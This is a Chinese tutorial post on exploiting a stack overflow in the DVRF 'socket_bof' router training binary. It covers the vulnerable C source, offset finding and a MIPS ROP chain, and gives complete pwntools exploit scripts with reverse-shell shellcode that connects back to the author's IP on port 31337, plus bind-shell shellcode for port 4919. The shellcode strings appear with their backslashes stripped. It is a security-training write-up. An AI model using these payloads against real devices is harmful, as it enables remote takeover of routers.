• 路由器漏洞挖掘之栈溢出


    前言

    前一篇讲到了 ROP 链的构造,最后直接使用调用 execve 函数的 shellcode 就可以直接 getshell,但是实际路由器溢出的情况下都不会那么简单。

    这里再看一道 DVRF 的题,这道题是 pwnable/ShellCode_Required 下的 socket_bof

    漏洞分析

    直接查看源码:

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    
    // Pwnable Socket Program
    // By b1ack0wl
    // Stack Overflow
     
    int main(int argc, char **argv[])
    {
    
    if (argc <2){
    
    printf("Usage: %s port_number - by b1ack0wl
    ", argv[0]);
    exit(1);
    
    }
     
        char str[500] = "";
        char endstr[50] = "";
        int listen_fd, comm_fd;
        int retval = 0;
        int option = 1;
     
        struct sockaddr_in servaddr;
     
        listen_fd = socket(AF_INET, SOCK_STREAM, 0);
     
        bzero( &servaddr, sizeof(servaddr));
     
        servaddr.sin_family = AF_INET;
        servaddr.sin_addr.s_addr = htons(INADDR_ANY);
        servaddr.sin_port = htons(atoi(argv[1]));
    	printf("Binding to port %i
    ", atoi(argv[1]));
     
        retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
    	if (retval == -1){
    	printf("Error Binding to port %i
    ", atoi(argv[1]));
    	 exit(1);}
    
       if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){
    	printf("Setsockopt failed :(
    ");
    	close(listen_fd);
    	exit(2);
    }
    
    
        listen(listen_fd, 2);
     
        comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
     
            bzero(str, 500);
    	write(comm_fd, "Send Me Bytes:",14);
            read(comm_fd,str,500);
    	sprintf(endstr, "nom nom nom, you sent me %s", str);
     	printf("Sent back - %s",str);
            write(comm_fd, endstr, strlen(endstr)+1);
    	shutdown(comm_fd, SHUT_RDWR);
    	shutdown(listen_fd, SHUT_RDWR);
    	close(comm_fd);
    	close(listen_fd);
    return 0x42;
    }
    

    同样这里可以发现一处 sprintf 的栈溢出,把程序放入 IDA 中进行分析

    0x00400D2C 处调用了 sprintf 函数,将格式化后的字符串直接放到大小为 0x50 的栈上,我们的输入如果大于 0x50 的话就会产生栈溢出,这样我们就可以控制返回地址。

    这里和上一道题相似,同样这里需要我们使用 ROP 链来构造一个 payload

    但是这里不同的是,这里我们是通过端口访问的。如果我们这里 getshell 了,这个 shell 还是在服务端的,我们是无法访问的。所以这里我们需要构造一个通过端口能访问到的 shellcode

    这里我们希望的效果是可以直接反弹 shell ,或者使得 shellcode 能够使服务端在远程某个端口开启一个 shell ,我们就可以通过这个端口连接上,进而获取 shell

    gdb 调试方法

    这里因为程序是开了一个 socket 端口,调试方法稍微有点不太一样。但是还是可以用 attach 的方法来调试

    具体的方法是:

    1. 先把程序用 qemu 跑起来,附加调试端口为 23946
    2. gdb-multiarch 连接上 23946 端口:target remote :23946,程序断在 _start 函数处,在 0x00400E1C 处下一个断点(也就是 lw $ra, 0x270+var_4($sp) 的地方),c 继续运行

    1. 再新开一个终端,nc 连接上之后,send payload 之后就可以在 gdb 中进行调试了。

    确定偏移

    控制 ra 之前还是需要先确定偏移地址。这边还是使用 patternLocOffset.py 工具来确定偏移,

    python patternLocOffset.py -c -l 500 -f test2
    

    python patternLocOffset.py -s  0x41376241 -l 500
    

    可以看到偏移是 51,后面的四个字节需要填充的 ra 寄存器的值。

    构造 payload

    根据上一篇 ROP 链构造的思路,我们同样可以用原来的 ROP 链来进行利用,这里不同的地方是 shellcode 的差异,我们需要构造一个能够从端口访问的 shellcode 或者直接使用 socket 弹回一个 shell

    • 在实际的路由器漏洞挖掘过程中,一般的栈溢出使用 system 函数来 getshell 都会存在问题,所以只能另辟蹊径。

    所以这里的重点是 shellcode 构造


    我们先用原来的 exp 试试效果:

    #!/usr/bin/python
    from pwn import *
    
    context.arch = 'mips'
    context.endian = 'little'
    
    libc_addr = 0x766e5000
    sleep_offset = 0x0002F2B0
    # sleep_end_addr = 0x767144c8
    
    
    shellcode = ""
    
    
    shellcode += "xffxffx06x28"  # slti $a2, $zero, -1
    shellcode += "x62x69x0fx3c"  # lui $t7, 0x6962
    shellcode += "x2fx2fxefx35"  # ori $t7, $t7, 0x2f2f
    shellcode += "xf4xffxafxaf"  # sw $t7, -0xc($sp)
    shellcode += "x73x68x0ex3c"  # lui $t6, 0x6873
    shellcode += "x6ex2fxcex35"  # ori $t6, $t6, 0x2f6e
    shellcode += "xf8xffxaexaf"  # sw $t6, -8($sp)
    shellcode += "xfcxffxa0xaf"  # sw $zero, -4($sp)
    shellcode += "xf4xffxa4x27"  # addiu $a0, $sp, -0xc
    shellcode += "xffxffx05x28"  # slti $a1, $zero, -1
    shellcode += "xabx0fx02x24"  # addiu;$v0, $zero, 0xfab
    shellcode += "x0cx01x01x01"  # syscall 0x40404
    
    
    
    payload = 'a' * 51
    payload += p32(libc_addr + 0xAfe0)	# jr $ra
    
    
    payload += 'b' * (0x3c - 4 * 9)
    payload += 'a' * 4                               # s0
    payload += p32(libc_addr + 0x21C34)              # s1
    payload += 'a' * 4                               # s2
    payload += p32(libc_addr + sleep_offset)         # s3
    payload += 'a' * 4                               # s4
    payload += 'a' * 4                               # s5
    payload += 'a' * 4                               # s6
    payload += 'a' * 4                               # s7
    payload += 'a' * 4                               # fp
    payload += p32(libc_addr + 0x2FB10)              # ra
    
    
    #---------------stack 2-------------------
    
    payload += 'c' * 0x24
    payload += p32(libc_addr + 0x000214A0)           # s3
    payload += 'd' * 4                               # s4
    payload += p32(libc_addr + 0xAfe0)               # ra
    
    #---------------stack 3-------------------
    payload += 'a' * (0x3c-4*9)
    payload += p32(libc_addr + 0x000214A0)	   # s0
    payload += 'a' * 4                               # s1
    payload += 'a' * 4                               # s2
    payload += 'a' * 4                               # s3
    payload += 'a' * 4                               # s4
    payload += 'a' * 4                               # s5
    payload += 'a' * 4                               # s6
    payload += 'a' * 4                               # s7
    payload += 'a' * 4                               # fp
    payload += p32(libc_addr + 0x0001B230)           # ra
    
    
    payload += 'f' * 0x28
    payload += shellcode
    
    
    r = remote('127.0.0.1',55555)
    r.recvuntil('Send Me Bytes:')
    
    r.sendline(payload)
    
    r.interactive()
    

    运行起来,在服务端可以看到,这里确实可以 getshell

    shellcode 的选择和构造

    这里的 shellcode 可以选择两种类型,一种是在本地传一个 shell 绑定到某个端口,另一种是直接反弹 shell

    这里的 shellcode 可以自己开发,也可以直接用网上现成的。自己开发的话比较耗时难度也比较大,这边就直接使用这里的

    反弹 shell

    先选择一个反弹 shellshellcode,在下面这个链接中,可以看到这边是将 shell 反弹到了 192.168.1.177 这个 ip 的 31337 端口。

    http://shell-storm.org/shellcode/files/shellcode-860.php

    我们使用的话之直接更改他的 ip 地址就行了,也就是对 li $a1, 0xB101A8C0 #192.168.1.177 这条汇编指令进行更改。

    如何更改呢?这边就需要用到 pwntoolsasm 函数。

    首先,我们需要把目的 ip 地址转化为 16 进制,这里就拿笔者本机来演示。这里我本机的 IP 是 192.168.123.158

    转化成 16 进制为:0x9e7ba8c0

    那么这里的汇编语句就是:li $a1,0x9e7ba8c0

    导入 pwntools.asm 函数中:

    得到相应汇编语句的 hex 值,替换掉 payload 原来的 hex 值就行了。即:

    stg3_SC = "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
    stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
    stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
    stg3_SC += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
    stg3_SC += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
    stg3_SC += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
    #stg3_SC += "xf8xffxa5xafx01xb1x05x3cxc0xa8xa5x34xfcxffxa5xaf"          # 192.168.1.177
    stg3_SC += "xf8xffxa5xafx7bx9ex05x3cxc0xa8xa5x34xfcxffxa5xaf"           # 192.168.123.158
    stg3_SC += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
    stg3_SC += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
    stg3_SC += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
    stg3_SC += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
    stg3_SC += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
    stg3_SC += "xabx0fx02x24x0cx09x09x01"
    

    nc 监听 31337 端口,运行 exp 成功反弹一个 shell

    绑定到相应端口

    这里的 shellcode 使用这里的:
    http://shell-storm.org/shellcode/files/shellcode-81.php

    也就是开启一个 bash 监听本地的 4919 端口。

    bind_port_shellcode = "xe0xffxbdx27xfdxffx0ex24x27x20xc0x01x27x28xc0x01xffxffx06x28x57x10x02x24x0cx01x01x01x50x73x0fx24xffxffx50x30xefxffx0ex24x27x70xc0x01x13x37x0dx24x04x68xcdx01xffxfdx0ex24x27x70xc0x01x25x68xaex01xe0xffxadxafxe4xffxa0xafxe8xffxa0xafxecxffxa0xafx25x20x10x02xefxffx0ex24x27x30xc0x01xe0xffxa5x23x49x10x02x24x0cx01x01x01x50x73x0fx24x25x20x10x02x01x01x05x24x4ex10x02x24x0cx01x01x01x50x73x0fx24x25x20x10x02xffxffx05x28xffxffx06x28x48x10x02x24x0cx01x01x01x50x73x0fx24xffxffx50x30x25x20x10x02xfdxffx0fx24x27x28xe0x01xdfx0fx02x24x0cx01x01x01x50x73x0fx24x25x20x10x02x01x01x05x28xdfx0fx02x24x0cx01x01x01x50x73x0fx24x25x20x10x02xffxffx05x28xdfx0fx02x24x0cx01x01x01x50x73x0fx24x50x73x06x24xffxffxd0x04x50x73x0fx24xffxffx06x28xdbxffx0fx24x27x78xe0x01x21x20xefx03xf0xffxa4xafxf4xffxa0xafxf0xffxa5x23xabx0fx02x24x0cx01x01x01/bin/sh"
    

    直接替换原来 payload

    但是这里有点问题,执行完 exp 却开启了别的端口,直接连接上去程序会直接崩溃。所以还是使用上面反弹 shell 的 exp 吧。

    exp

    #!/usr/bin/python
    from pwn import *
    
    context.arch = 'mips'
    context.endian = 'little'
    
    libc_addr = 0x766e5000
    sleep_offset = 0x0002F2B0
    
    stg3_SC = ""
    stg3_SC = "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
    stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
    stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
    stg3_SC += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
    stg3_SC += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
    stg3_SC += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
    stg3_SC += "xf8xffxa5xafx7bx9ex05x3cxc0xa8xa5x34xfcxffxa5xaf" 		# 192.168.123.158
    stg3_SC += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
    stg3_SC += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
    stg3_SC += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
    stg3_SC += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
    stg3_SC += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
    stg3_SC += "xabx0fx02x24x0cx09x09x01"
    
    
    
    payload = 'a' * 51
    payload += p32(libc_addr + 0xAfe0)	# jr $ra
    
    
    payload += 'b' * (0x3c - 4 * 9)
    payload += 'a' * 4                               # s0
    payload += p32(libc_addr + 0x21C34)              # s1
    payload += 'a' * 4                               # s2
    payload += p32(libc_addr + sleep_offset)         # s3
    payload += 'a' * 4                               # s4
    payload += 'a' * 4                               # s5
    payload += 'a' * 4                               # s6
    payload += 'a' * 4                               # s7
    payload += 'a' * 4                               # fp
    payload += p32(libc_addr + 0x2FB10)              # ra
    
    
    #---------------stack 2-------------------
    
    payload += 'c' * 0x24
    payload += p32(libc_addr + 0x000214A0)           # s3
    payload += 'd' * 4                               # s4
    payload += p32(libc_addr + 0xAfe0)               # ra
    
    #---------------stack 3-------------------
    payload += 'a' * (0x3c-4*9)
    payload += p32(libc_addr + 0x000214A0)	   # s0
    payload += 'a' * 4                               # s1
    payload += 'a' * 4                               # s2
    payload += 'a' * 4                               # s3
    payload += 'a' * 4                               # s4
    payload += 'a' * 4                               # s5
    payload += 'a' * 4                               # s6
    payload += 'a' * 4                               # s7
    payload += 'a' * 4                               # fp
    payload += p32(libc_addr + 0x0001B230)           # ra
    
    
    payload += 'f' * 0x28
    payload += stg3_SC
    
    r = remote('127.0.0.1',55555)
    r.recvuntil('Send Me Bytes:')
    
    r.sendline(payload)
    
    r.interactive()
    
    

    总结

    在实际的路由器栈溢出时,如果执行 execve 函数没办法 getshell 时,可以试试上面反弹 shell 的方式。

  • 相关阅读:
    gc buffer busy/gcs log flush sync与log file sync
    给Oracle年轻的初学者的几点建议
    Android 编程下帧动画在 Activity 启动时自动运行的几种方式
    Android 编程下 Touch 事件的分发和消费机制
    Java 编程下 static 关键字
    Java 编程下 final 关键字
    Android 编程下模拟 HOME 键效果
    Why Are Thread.stop, Thread.suspend, Thread.resume and Runtime.runFinalizersOnExit Deprecated ?
    Extjs4 大型项目目录结构重构
    [转]SQLServer 2008 允许远程连接的配置方法
  • 原文地址:https://www.cnblogs.com/H4lo/p/10580433.html
Copyright © 2020-2023  润新知